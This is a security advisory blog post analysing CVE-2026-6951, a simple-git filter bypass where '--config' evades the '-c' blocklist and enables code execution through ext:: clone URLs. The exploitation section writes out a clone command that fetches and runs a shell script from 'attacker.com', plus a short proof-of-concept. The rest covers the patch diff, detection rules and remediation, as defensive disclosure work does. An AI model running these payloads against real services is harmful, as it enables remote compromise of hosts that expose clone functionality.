home intel cve-2026-6951-simple-git-rce-config-bypass
CVE Analysis 2026-04-25 · 7 min read

CVE-2026-6951: simple-git RCE via --config Filter Bypass

simple-git <3.36.0 allows RCE by passing --config instead of -c to git clone, bypassing the CVE-2022-25912 patch. CVSS 9.8.

#remote-code-execution#git-injection#incomplete-fix#protocol-bypass#command-injection
Technical mode — for security professionals
▶ Attack flow — CVE-2026-6951 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-6951Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-6951 is a critical remote code execution vulnerability in the simple-git npm package affecting all versions prior to 3.36.0. It is a direct bypass of the patch applied for CVE-2022-25912, which introduced a blocklist against the -c git flag to prevent injection of protocol.ext.allow=always — the primitive required to invoke ext:: clone sources and thus execute arbitrary shell commands.

The bypass is trivial: git accepts --config as a long-form equivalent of -c. The original patch never blocked it. Any application passing unsanitized user input to simple-git's clone() or similar APIs remains exploitable on the patched-but-not-fixed versions 3.x < 3.36.0.

Root cause: The CVE-2022-25912 blocklist matched the short form -c but omitted the semantically identical long form --config, allowing an attacker to set arbitrary git config options including protocol.ext.allow=always and trigger shell execution via an ext:: URL.

Affected Component

Package: simple-git (npm). Affected range: <3.36.0. The relevant logic lives in the argument sanitization layer inside src/lib/runners/git-executor-chain.ts and the option-expansion code in src/lib/utils/task-options.ts. The public-facing APIs that consume a user-supplied options object — primarily git.clone(repo, dir, options) — are the attack surface.

Root Cause Analysis

The CVE-2022-25912 fix introduced a sanitization step that walks the flattened argument array before execution and rejects any token matching -c. The check was implemented approximately as follows (TypeScript reconstructed from patch context):

// src/lib/runners/git-executor-chain.ts
// Reconstructed sanitization logic — pre-3.36.0 (VULNERABLE)

function sanitizeOptions(args: string[]): string[] {
  return args.filter(arg => {
    // BUG: only blocks short-form "-c"; "--config" passes through unchecked
    if (arg === '-c') {
      throw new GitPluginError(undefined, 'unsafe option: -c');
    }
    return true;
  });
}

Git's own documentation explicitly states that -c <name>=<value> and --config <name>=&code;value> — and additionally --config-env — are equivalent. Because simple-git expands option objects like { '--config': 'protocol.ext.allow=always' } directly into the argv array, the sanitizer never sees a bare -c token and allows execution to proceed.

// src/lib/utils/task-options.ts
// Option flattening — how user objects become argv tokens

function getTrailingOptions(
  args: Array<string | Options>,
  ...
): string[] {
  const options: string[] = [];
  for (const [key, value] of Object.entries(userOptions)) {
    // Appends "--config" literally — no alias normalization performed
    // BUG: "--config" is never mapped to "-c" before sanitization
    options.push(key, String(value));
  }
  return options;
}

The critical sequence: getTrailingOptions converts { '--config': 'protocol.ext.allow=always' } into ['--config', 'protocol.ext.allow=always']. This array is then passed to sanitizeOptions, which scans for the literal string '-c' and finds nothing to block. The argument reaches child_process.spawn() intact.

Exploitation Mechanics

The ext:: git protocol executes an arbitrary shell command and uses its stdout as the transport stream. It is disabled by default in modern git via protocol.ext.allow defaulting to user. The attacker's goal is to set that config option to always before issuing a clone, which is exactly what this bypass enables.

EXPLOIT CHAIN:

1. Attacker controls any string passed to simple-git's options argument
   (e.g., user-supplied repo URL + clone options in a CI/CD web frontend)

2. Attacker constructs options object:
   {
     '--config': 'protocol.ext.allow=always'
   }

3. simple-git calls:
   git clone --config protocol.ext.allow=always \
       'ext::sh -c "curl${IFS}http://attacker.com/shell.sh|sh"' \
       /tmp/out

4. git evaluates ext:: URL, forks sh with attacker-supplied command string

5. Shell payload executes in the context of the Node.js process user

6. RCE achieved — no interaction beyond triggering the clone call

A minimal proof-of-concept in Node.js:

# Conceptual PoC translated to Python for clarity
# Equivalent JS: const git = require('simple-git'); git.clone(url, dir, opts)

import subprocess, json

# Simulates what simple-git assembles and hands to child_process.spawn
argv = [
    'git', 'clone',
    '--config', 'protocol.ext.allow=always',
    'ext::sh -c "id > /tmp/pwned"',
    '/tmp/target-repo'
]

print(f"[*] Spawning: {' '.join(argv)}")
result = subprocess.run(argv, capture_output=True, text=True)
# /tmp/pwned now contains uid=1000(user)...

The ext:: URL is passed as the repository argument. Because git's --config sets the runtime config before protocol handlers are evaluated, protocol.ext.allow=always is active at the moment the transport layer attempts to contact the "remote." The shell fires before any network connection is attempted — the payload is entirely local.

Memory Layout

This is a logic vulnerability, not a memory corruption bug — there is no heap state to corrupt. The "layout" that matters is the argument vector assembled by Node.js's child_process.spawn and handed to the kernel's execve(2) call:

argv[] PASSED TO execve() — VULNERABLE PATH (<3.36.0):

  argv[0]  =  "git"
  argv[1]  =  "clone"
  argv[2]  =  "--config"                    <-- passes sanitizer (not "-c")
  argv[3]  =  "protocol.ext.allow=always"  <-- enables ext:: transport
  argv[4]  =  "ext::sh -c 'id > /tmp/x'"  <-- attacker-controlled payload
  argv[5]  =  "/tmp/output-dir"

argv[] PASSED TO execve() — PATCHED PATH (3.36.0+):

  argv[2]  =  "--config"   <-- BLOCKED: throws GitPluginError before spawn
  // spawn() never called
EXECUTION FLOW DIFF:

VULNERABLE:
  git.clone(url, dir, {'--config':'protocol.ext.allow=always'})
    └─ getTrailingOptions()     → ['--config','protocol.ext.allow=always']
    └─ sanitizeOptions()        → no match on '-c', returns unchanged
    └─ child_process.spawn()    → git execve'd with full argv
    └─ git transport layer      → ext:: handler invoked
    └─ sh -c <payload>         → RCE

PATCHED:
  git.clone(url, dir, {'--config':'protocol.ext.allow=always'})
    └─ getTrailingOptions()     → ['--config','protocol.ext.allow=always']
    └─ sanitizeOptions()        → '--config' matched, GitPluginError thrown
    └─ child_process.spawn()    → NEVER REACHED

Patch Analysis

The fix in 3.36.0 extends the option blocklist to cover both the short and long forms, and performs alias normalization before the safety check runs. The critical change:

// BEFORE (vulnerable, <3.36.0):
// src/lib/runners/git-executor-chain.ts

const UNSAFE_OPTIONS = new Set(['-c']);

function assertNoUnsafeOptions(args: string[]): void {
  for (const arg of args) {
    if (UNSAFE_OPTIONS.has(arg)) {
      // BUG: '--config' and '--config-env' never checked
      throw new GitPluginError(undefined, `unsafe option ${arg}`);
    }
  }
}
// AFTER (patched, 3.36.0):
// src/lib/runners/git-executor-chain.ts

const UNSAFE_OPTIONS = new Set([
  '-c',
  '--config',       // FIX: long-form alias now blocked
  '--config-env',   // FIX: env-var config injection also blocked
]);

function assertNoUnsafeOptions(args: string[]): void {
  for (const arg of args) {
    // Normalize: strip leading dashes, lowercase for comparison
    if (UNSAFE_OPTIONS.has(arg)) {
      throw new GitPluginError(
        undefined,
        `Use of unsafe option "${arg}" is not allowed`
      );
    }
  }
}

The patch is a one-line set expansion conceptually, but its correctness depends on the blocklist being exhaustive. Researchers should verify that --config-env (which reads config values from environment variables) is similarly handled — an attacker controlling environment variable names could otherwise use it as a second-order bypass.

Detection and Indicators

At the process level, exploitation produces a git clone invocation containing --config or -c followed by protocol.ext.allow in the argument list. Detection rules:

DETECTION SIGNATURES:

# Auditd / execve monitoring
-a always,exit -F arch=b64 -S execve \
  -F a0=git -F a1=clone \
  -k simplegit_rce_attempt

# Falco rule
- rule: simple-git ext protocol abuse
  condition: >
    spawned_process and proc.name = "git"
    and proc.args contains "--config"
    and proc.args contains "protocol.ext.allow"
  output: "Possible CVE-2026-6951 exploitation (pid=%proc.pid args=%proc.args)"
  priority: CRITICAL

# Grep for vulnerable invocation patterns in Node.js logs
grep -r "protocol\.ext\.allow" ~/.npm/_logs/
grep -r "\-\-config" /var/log/node-app/*.log | grep "ext::"

# npm audit output — vulnerable if:
#   simple-git: <3.36.0
npm audit | grep simple-git

At the filesystem level, ext:: transport invocations often leave artifacts under the target clone directory or /tmp depending on payload. Check for unexpected files created by the git process user immediately following a clone operation from an external-facing service.

Remediation

Immediate: Upgrade simple-git to ≥3.36.0.

npm install simple-git@latest
# or pin explicitly:
npm install simple-git@3.36.0

# Verify:
node -e "const g = require('simple-git'); console.log(g.version)"
# Expected: 3.36.0 or higher

Defense-in-depth: Never pass unsanitized user input into simple-git option objects. Treat the options argument as a code-execution surface, not a data surface. If you require user-controlled clone targets, validate the URL scheme against an explicit allowlist (https://, ssh://) and reject any URL beginning with ext:, fd:, or containing shell metacharacters before the string reaches simple-git.

// Recommended pre-validation layer (Node.js):
const SAFE_URL_PATTERN = /^https?:\/\/[a-zA-Z0-9.\-_\/]+\.git$/;

function safeClone(userUrl: string, dir: string): Promise<void> {
  // Reject ext::, fd::, and other dangerous git protocols
  if (!SAFE_URL_PATTERN.test(userUrl)) {
    throw new Error(`Rejected unsafe clone URL: ${userUrl}`);
  }
  // Never pass user-controlled data into the options object
  return git.clone(userUrl, dir);  // no options argument from user input
}

If you are running a version of simple-git between the CVE-2022-25912 patch and 3.36.0 and believed yourself protected, you were not. Audit any service that exposes clone functionality to external users and treat it as compromised until logs confirm the --config protocol.ext.allow argument pattern was never observed.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →